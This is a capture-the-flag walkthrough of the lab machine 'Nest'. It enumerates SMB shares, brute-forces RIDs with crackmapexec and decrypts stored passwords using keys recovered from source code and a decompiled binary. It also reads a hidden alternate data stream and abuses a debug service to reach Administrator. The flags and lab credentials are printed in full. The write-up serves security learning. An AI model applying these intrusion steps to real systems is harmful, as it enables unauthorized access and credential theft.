MACHINE - NEST

OPEN PORTS

```
$ nmap -sVC -T4 -Pn ${IP}

PORT    STATE SERVICE       VERSION
445/tcp open  microsoft-ds?
4386/tcp open  unknown
Help:
|     Reporting Service V1.2
|     This service allows users to run queries against databases
|     AVAILABLE COMMANDS ---
|     LIST
|     SETDIR <Directory_Name>
|     RUNQUERY <Query_ID>
|     DEBUG <Password>
|_    HELP <Command>

Host script results:
| smb2-security-mode:
|   2:1:0:
|_    Message signing enabled but not required
| smb2-time:
|   date: 2024-05-01T11:34:30
|_  start_date: 2024-05-01T11:32:24
```

INVESTIGATING THE SHARES

- Since only port 445 is open, let's try to enumerate all shares

```
$ smbclient -N -L //${IP}

Sharename       Type      Comment
---------       ----      -------
ADMIN$          Disk      Remote Admin
C$              Disk      Default share
Data            Disk
IPC$            IPC       Remote IPC
Secure$         Disk
Users           Disk
```

- Those that are accessible without credentials are `Users` and `Data`
- If we try to access `Users` share we can find a number of users

```
$ smbclient -N \\\\${IP}\\Users
smb: \> dir

Administrator   D        0  Fri Aug  9 17:08:23 2019
C.Smith         D        0  Sun Jan 26 08:21:44 2020
L.Frost         D        0  Thu Aug  8 19:03:01 2019
R.Thompson      D        0  Thu Aug  8 19:02:50 2019
TempUser        D        0  Thu Aug  8 00:55:56 2019
```

- However, if we try to list content inside each of these folders, we obtain `ACCESS_DENIED` error.
- At this point, let's enter the second share, i.e., `Data`

```
$ smbclient -N \\\\${IP}\\Data
smb: \> dir

.               D        0  Thu Aug  8 00:53:46 2019
..              D        0  Thu Aug  8 00:53:46 2019
IT              D        0  Thu Aug  8 00:58:07 2019
Production      D        0  Mon Aug  5 23:53:38 2019
Reports         D        0  Mon Aug  5 23:53:44 2019
Shared          D        0  Wed Aug  7 21:07:51 2019

smb: \> cd Shared
smb: \Shared\> dir

.               D        0  Wed Aug  7 21:07:51 2019
..              D        0  Wed Aug  7 21:07:51 2019
Maintenance     D        0  Wed Aug  7 21:07:32 2019
Templates       D        0  Wed Aug  7 21:08:07 2019

smb: \Shared\> cd Maintenance
smb: \Shared\Maintenance\> ls

.                       D        0  Wed Aug  7 21:07:32 2019
..                      D        0  Wed Aug  7 21:07:32 2019
Maintenance Alerts.txt  A       48  Tue Aug  6 01:01:44 2019

smb: \Shared\Maintenance\> get "Maintenance Alerts.txt"
```

- Opening the downloaded file, we see that there is nothing interesting
- Let's go on

```
smb: \Shared\Maintenance\> cd ..
smb: \Shared\> cd Templates
smb: \Shared\Templates\> ls
```

```
.               D        0  Wed Aug  7 21:08:07 2019
..              D        0  Wed Aug  7 21:08:07 2019
HR              D        0  Wed Aug  7 21:08:01 2019
Marketing       D        0  Wed Aug  7 21:08:06 2019

smb: \Shared\Templates\> cd HR
smb: \Shared\Templates\HR\> get "Welcome Email.txt"
smb: \Shared\Templates\HR\> cd ..
```

- `Marketing` folder is empty
- In the `Welcome Email.txt` we can find some useful informations

1. User home folder `\\HTB-NEST\Users\<USERNAME>`
2. Credentials `TempUser:welcome2019`

- Let's use these credentials
- First we can use these credentials to brute force all RIDs

```
$ crackmapexec smb ${IP} -u TempUser -p welcome2019 --rid-brute

SMB  10.10.10.178 445 HTB-NEST   500: HTB-NEST\Administrator (SidTypeUser)
SMB  10.10.10.178 445 HTB-NEST   501: HTB-NEST\Guest (SidTypeUser)
SMB  10.10.10.178 445 HTB-NEST   513: HTB-NEST\None (SidTypeGroup)
SMB  10.10.10.178 445 HTB-NEST   1002: HTB-NEST\TempUser (SidTypeUser)
SMB  10.10.10.178 445 HTB-NEST   1004: HTB-NEST\C.Smith (SidTypeUser)
SMB  10.10.10.178 445 HTB-NEST   1005: HTB-NEST\Service_HQK (SidTypeUser)
```

- Then let's use these credentials to access non accessible Shares on `Data`
- In `Data\IT\Config\NotepadPlusPlus\` there are some configurations
- In particular in `config.xml` we can find these references

```
<History nbMaxFile="15" inSubMenu="no" customLength="-1">
    <File filename="C:\windows\System32\drivers\etc\hosts"/>
    <File filename="\\HTB-NEST\Secure$\IT\Carl\Temp.txt"/>
    <File filename="C:\Users\C.Smith\Desktop\todo.txt"/>
</History>
```

- Referring to files that have been modified recently
- In `Data\IT\Config\RU Scanner\RU_config.xml` we can find some credentials

```
<ConfigFile>
 <Port>389</Port>
 <Username>c.smith</Username>
```

```
 <Password>fTEzAfYDoz1YzkqhQkH6GQFYKp1XY5hm7bjOP86yYxE=</Password>
</ConfigFile>
```

- Referring to a specified port: 389 (possibly opened on the local host)
- At this point, we also have a Share path `\\HTB-NEST\Secure$\IT\Carl\`
- Let's see if we can access to this path using TempUser

```
$ smbclient \\\\${IP}\\Secure$ -U TempUser
smb: \> cd IT\Carl
smb: \IT\Carl\>
```

- We can. At this point we can mount the share locally to examine the content

```
$ sudo mount -t cifs -o ro,username=TempUser,password=welcome2019 '//${IP}/Secure$' ./tmp
$ cd tmp
tmp$ cd IT/Carl/VB\ Projects/WIP/RU
tmp/IT/Carl/VB\ Projects/WIP/RU:$
```

- Inside this folder there is the Visual Basic Project for `RU`
- `RUScanner.sln` is the configuration file for this project
- Folder `RUScanner` contains the entire project
- We can open that folder inside an IDE, like VScode, it will be easy to inspect source code
- Inside this folder, we can find a `Module1.vb` file

```
Module Module1

    Sub Main()
        Dim Config As ConfigFile = ConfigFile.LoadFromFile("RU_Config.xml")
        Dim test As New SsoIntegration With {
            .Username = Config.Username, _
            .Password = Utils.DecryptString(Config.Password)
        }
    End Sub

End Module
```

- As we can see, it first open the `RU_Config.xml` that we have previously found
- Then it uses a function `Utils.DecryptString` to decrypt the password
- Inside `Utils.vb` we can find

```
Public Shared Function DecryptString(EncryptedString As String) As String

    If String.IsNullOrEmpty(EncryptedString) Then
```

```
        Return String.Empty
    Else
        Return Decrypt(EncryptedString, "N3st22", "88552299", 2, "464R5DFA5DL6LE28", 256)
    End If

End Function
```

- and

```
Public Shared Function Decrypt(ByVal cipherText As String, _
                               ByVal passPhrase As String, _
                               ByVal saltValue As String, _
                               ByVal passwordIterations As Integer, _
                               ByVal initVector As String, _
                               ByVal keySize As Integer) _

                           As String

    Dim initVectorBytes As Byte()
    initVectorBytes = Encoding.ASCII.GetBytes(initVector)

    Dim saltValueBytes As Byte()
    saltValueBytes = Encoding.ASCII.GetBytes(saltValue)

    Dim cipherTextBytes As Byte()
    cipherTextBytes = Convert.FromBase64String(cipherText)

    Dim password As New Rfc2898DeriveBytes(passPhrase, _
                                           saltValueBytes, _
                                           passwordIterations)

    Dim keyBytes As Byte()
    keyBytes = password.GetBytes(CInt(keySize / 8))

    Dim symmetricKey As New AesCryptoServiceProvider
    symmetricKey.Mode = CipherMode.CBC

    Dim decryptor As ICryptoTransform
    decryptor = symmetricKey.CreateDecryptor(keyBytes, initVectorBytes)

    Dim memoryStream As IO.MemoryStream
    memoryStream = New IO.MemoryStream(cipherTextBytes)

    Dim cryptoStream As CryptoStream
    cryptoStream = New CryptoStream(memoryStream, _
                                    decryptor, _
                                    CryptoStreamMode.Read)

    Dim plainTextBytes As Byte()
    ReDim plainTextBytes(cipherTextBytes.Length)
```

```
    Dim decryptedByteCount As Integer
    decryptedByteCount = cryptoStream.Read(plainTextBytes, _
                                           0, _
                                           plainTextBytes.Length)

    memoryStream.Close()
    cryptoStream.Close()

    Dim plainText As String
    plainText = Encoding.ASCII.GetString(plainTextBytes, _
                                         0, _
                                         decryptedByteCount)

    Return plainText

End Function
```

- Which is the decrypt function
- Since this file uses .NET functions is can be rewritten in any .NET language
- Hence, we can just create a simple version in C# and compile it with `mono`
- Let's call this file `script.cs`

```
$ sudo apt-get install -y mono-mcs mono-runtime
$ mcs script.cs
$ ./script.cs
Plaintext: xRxRxPANCAK3SxRxRx
```

- Now, we have this new set of credentials `c.smith:xRxRxPANCAK3SxRxRx`
- Let's connect to the User share as C.smith
- Inside `Users\C.Smith\` there is user flag `user.txt`
- There is also a folder named `HQK Reporting` containing a `HQK_Config_Backup.xml`

```
<ServiceSettings>
    <Port>4386</Port>
    <QueryDirectory>C:\Program Files\HQK\ALL QUERIES</QueryDirectory>
</ServiceSettings>
```

- There is also another file name `Debug Mode Password` which seems to be empty
- It is strange that we have found an empty file

```
smb: \C.Smith\HQK Reporting\> allinfo "Debug Mode Password.txt"

altname: DEBUGM~1.TXT
create_time:    Fri Aug  9 01:06:12 AM 2019 CEST
access_time:    Fri Aug  9 01:06:12 AM 2019 CEST
```

```
write_time:     Fri Aug  9 01:08:17 AM 2019 CEST
change_time:    Wed Jul 21 08:47:12 PM 2021 CEST
attributes: A (20)
stream: [::$DATA], 0 bytes
stream: [:Password:$DATA], 15 bytes

smb: \C.Smith\HQK Reporting\> get "Debug Mode Password.txt:Password"
smb: \C.Smith\HQK Reporting\> exit
$ cat "Debug Mode Password.txt:Password"
WBQ201953D8w
```

- We have a password ... It will be used later on I suppose
- There is also an executable at `\AD Integration Module\HqkLdap.exe`

PRIVILEGE ESCALATION

- First thing, we can try to connect to the port 4386 using `telnet`

```
$ telnet ${IP} 4386
> help

This service allows users to run queries against databases
using the legacy HQK format

--- AVAILABLE COMMANDS ---

LIST
SETDIR <Directory_Name>
RUNQUERY <Query_ID>
DEBUG <Password>
HELP <Command>

> LIST

Use the query ID numbers below with the RUNQUERY command and the
directory names with the SETDIR command

QUERY FILES IN CURRENT DIRECTORY

[DIR]  COMPARISONS
[1]   Invoices (Ordered By Customer)
[2]   Products Sold (Ordered By Customer)
[3]   Products Sold In Last 30 Days

Current Directory: ALL QUERIES
```

- Using the XML above, we understand we are in `C:\Program Files\HQK\ALL QUERIES`

- Hence using `SETDIR COMPARISIONS` we move to `C:\Program Files\HQK\ALL QUERIES\COMPARISIONS`
- It seems that we can move through folders of the underline system
- Let's see if we can move to `C:\Program Files\HQK`

```
> SETDIR ..
> LIST
QUERY FILES IN CURRENT DIRECTORY

[DIR]  ALL QUERIES
[DIR]  LDAP
[DIR]  Logs
[1]   HqkSvc.exe
[2]   HqkSvc.InstallState
[3]   HQK_Config.xml
```

- It seems that we can move between folders of the remote host
- However, running any specified query gives just an error message

```
Invalid database configuration found. Please contact
your system administrator
```

- There is only one last command `DEBUG <password>`
- Running `HELP DEBUG` gives the following output

```
DEBUG <Password>
Enables debug mode, which allows the use of additional commands to
use for troubleshooting network and configuration issues. Requires
a password which will be set by your system administrator when the
service was installed

Examples:
DEBUG MyPassw0rd     Attempts to enable debug mode by using the
                     password "MyPassw0rd"
```

- We can try to use the password we have previously found

```
> DEBUG WBQ201953D8w
Debug mode enabled. Use the HELP command to view additional
commands that are now available

> HELP
--- AVAILABLE COMMANDS ---

LIST
SETDIR <Directory_Name>
RUNQUERY <Query_ID>
```

```
DEBUG <Password>
HELP <Command>
SERVICE
SESSION
SHOWQUERY <Query_ID>
```

- Inside folder `C:\Program Files\HQK\LDAP` there is a file `Ldap.conf`
- Running `SHOWQUERY 2` gives us the following result

```
Domain=nest.local
Port=389
BaseOu=OU=WBQ Users,OU=Production,DC=nest,DC=local
User=Administrator
Password=yyEq0Uvvhq2uQOcWG8peLoeRQehqip/fKdeG/kjEVb4=
```

- Iteresting, now we have an encrypted version of the Administrator password
- In the same folder there is also an executable `HqkLdap.exe`
- This executable is the same we found previously.
- We can try to see if inspecting the Executable we can find some answers
- First thing we can use a tool called Detect-It-Easy (DIE)
- This tool gives us some informations

1. Compiled with VB.NET (meaning that the programming language is BASIC)
2. It is no packed
3. Library used is .NET (v4.0.30319)
4. The operating system is Windows(95)
5. The entry point is at address 0x00404e2e and the base address is 0x00400000

- This tool gives us some basic informations
- To get a more deeper understanding we need to use decompilers
- Notice that, since it is a .NET-based executable we have to use decompilers like dnSpy or Codermex
- For the purpose of this problem I will use Codermex
- Once opened, if we look at `HqkLdap` module we can see the `DS` function
- It does the decryption by calling another function `RD` .
- A quick comparision shows that this function and the one in `Utils.vb` are the same
- Hence we can re-use the previous script just changing the password.
- The new line will be

```
Decrypt(
    "yyEq0Uvvhq2uQOcWG8peLoeRQehqip/fKdeG/kjEVb4=",
    "667912", "1313Rf99", 3,
```

```
    "1L1SA61493DRV53Z", 256
);
```

- Then we compile, execute and obtain `XtH4nkS4Pl4y1nGX`
- At this point we can log as Administrator in the SMB client in the `Users` share
- Once in the share, under `Administrator` we find a file `flag.txt - Shortcut.lnk`
- If we donwload this file and inspect it using the `file` command

```
flag.txt - Shortcut.lnk: MS Windows shortcut, Points to a file or directory,
Has Relative path, Has Working directory, Unicoded, HasEnvironment
"\\Htb-nest\c$\Users\Administrator\Desktop\flag.txt"
```

- We see that the real file is under the `C$` share
- Get access to the share

```
$ smbclient -U Administrator \\\\${IP}\\C$
smb: \> cd Users\Administrator\Desktop\
smb: \Users\Administrator\DEsktop\> get root.txt
smb: \Users\Administrator\DEsktop\> exit
$ cat root.txt
deb3dfe1f1ab3470049665f5b5c2c5e5
```

FLAGS

USER: aac7dba51b0934b8745f36cd2b5f1f14

ROOT: deb3dfe1f1ab3470049665f5b5c2c5e5